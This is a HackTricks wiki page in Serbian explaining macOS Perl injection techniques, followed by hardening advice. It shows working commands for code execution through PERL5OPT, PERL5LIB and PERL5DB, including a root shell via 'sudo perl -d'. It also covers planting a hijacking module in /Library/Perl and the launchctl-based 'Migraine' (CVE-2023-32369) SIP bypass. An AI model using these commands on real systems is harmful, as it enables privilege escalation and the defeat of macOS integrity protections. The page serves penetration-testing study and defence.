macOS Perl Applications Injection
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Putem PERL5OPT
& PERL5LIB
env varijable
Korišćenjem env varijable PERL5OPT
moguće je naterati Perl da izvrši proizvoljne komande kada se interpreter pokrene (čak pre nego što se prva linija ciljnog skripta obradi).
Na primer, kreirajte ovaj skript:
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Sada izvezite env promenljivu i izvršite perl skriptu:
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Druga opcija je da se kreira Perl modul (npr. /tmp/pmod.pm
):
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
I zatim koristite env varijable tako da se modul automatski locira i učita:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod perl victim.pl
Ostale zanimljive promenljive okruženja
PERL5DB
– kada se interpreter pokrene sa-d
(debugger) flagom, sadržajPERL5DB
se izvršava kao Perl kod unutar konteksta debagera. Ako možete da utičete na oba, okruženje i komandne linijske flagove privilegovanog Perl procesa, možete uraditi nešto poput:
export PERL5DB='system("/bin/zsh")'
sudo perl -d /usr/bin/some_admin_script.pl # će otvoriti shell pre izvršavanja skripte
PERL5SHELL
– na Windows-u ova promenljiva kontroliše koji izvršni fajl shell-a Perl će koristiti kada treba da pokrene shell. Pominje se ovde samo radi potpunosti, jer nije relevantna na macOS-u.
Iako PERL5DB
zahteva -d
switch, uobičajeno je naći skripte za održavanje ili instalaciju koje se izvršavaju kao root sa ovim flagom uključenim za detaljno rešavanje problema, čineći promenljivu validnim vektorom eskalacije.
Putem zavisnosti (@INC zloupotreba)
Moguće je nabrojati putanju uključivanja koju Perl će pretraživati (@INC
) pokretanjem:
perl -e 'print join("\n", @INC)'
Tipičan izlaz na macOS 13/14 izgleda ovako:
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Neki od vraćenih foldera čak ni ne postoje, međutim /Library/Perl/5.30
postoji, nije zaštićen SIP-om i pre je zaštićenih foldera SIP-om. Stoga, ako možete pisati kao root, možete postaviti zloćudni modul (npr. File/Basename.pm
) koji će biti preferencijalno učitan od strane bilo kog privilegovanog skripta koji uvozi taj modul.
warning
I dalje vam je potreban root da biste pisali unutar /Library/Perl
, a macOS će prikazati TCC prompt koji traži Potpunu pristup disku za proces koji vrši operaciju pisanja.
Na primer, ako skripta uvozi use File::Basename;
, bilo bi moguće kreirati /Library/Perl/5.30/File/Basename.pm
koji sadrži kod pod kontrolom napadača.
SIP zaobilaženje putem Migration Assistant (CVE-2023-32369 “Migraine”)
U maju 2023. Microsoft je objavio CVE-2023-32369, nazvan Migraine, tehnika post-exploatacije koja omogućava root napadaču da potpuno zaobiđe zaštitu integriteta sistema (SIP).
Ranljiva komponenta je systemmigrationd
, demon sa ovlašćenjem com.apple.rootless.install.heritable
. Svaki podproces koji pokrene ovaj demon nasleđuje ovlašćenje i stoga se izvršava van SIP ograničenja.
Među decom koje su identifikovali istraživači je Apple-ov potpisani interpreter:
/usr/bin/perl /usr/libexec/migrateLocalKDC …
Zato što Perl poštuje PERL5OPT
(a Bash poštuje BASH_ENV
), zagađenje okruženja daemona je dovoljno da se dobije proizvoljna izvršna prava u kontekstu bez SIP-a:
# As root
launchctl setenv PERL5OPT '-Mwarnings;system("/private/tmp/migraine.sh")'
# Trigger a migration (or just wait – systemmigrationd will eventually spawn perl)
open -a "Migration Assistant.app" # or programmatically invoke /System/Library/PrivateFrameworks/SystemMigration.framework/Resources/MigrationUtility
Kada migrateLocalKDC
pokrene, /usr/bin/perl
se pokreće sa malicioznim PERL5OPT
i izvršava /private/tmp/migraine.sh
pre nego što se SIP ponovo omogući. Iz tog skripta možete, na primer, kopirati payload unutar /System/Library/LaunchDaemons
ili dodeliti com.apple.rootless
proširenu atribut da biste učinili datoteku neizbrisivom.
Apple je ispravio problem u macOS Ventura 13.4, Monterey 12.6.6 i Big Sur 11.7.7, ali stariji ili neispravljeni sistemi ostaju podložni eksploataciji.
Preporuke za učvršćivanje
- Obrišite opasne promenljive – privilegovani launchdaemons ili cron poslovi treba da se pokreću u čistom okruženju (
launchctl unsetenv PERL5OPT
,env -i
, itd.). - Izbegavajte pokretanje interpretera kao root osim ako nije strogo neophodno. Koristite kompajlirane binarne datoteke ili rano smanjite privilegije.
- Vendor skripte sa
-T
(taint mode) tako da Perl ignorišePERL5OPT
i druge nesigurne opcije kada je provera taint-a omogućena. - Držite macOS ažuriranim – “Migrena” je potpuno ispravljena u trenutnim izdanjima.
Reference
- Microsoft Security Blog – “Nova macOS ranjivost, Migrena, može zaobići zaštitu integriteta sistema” (CVE-2023-32369), 30. maj 2023.
- Hackyboiz – “macOS SIP Bypass (PERL5OPT & BASH_ENV) istraživanje”, maj 2025.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.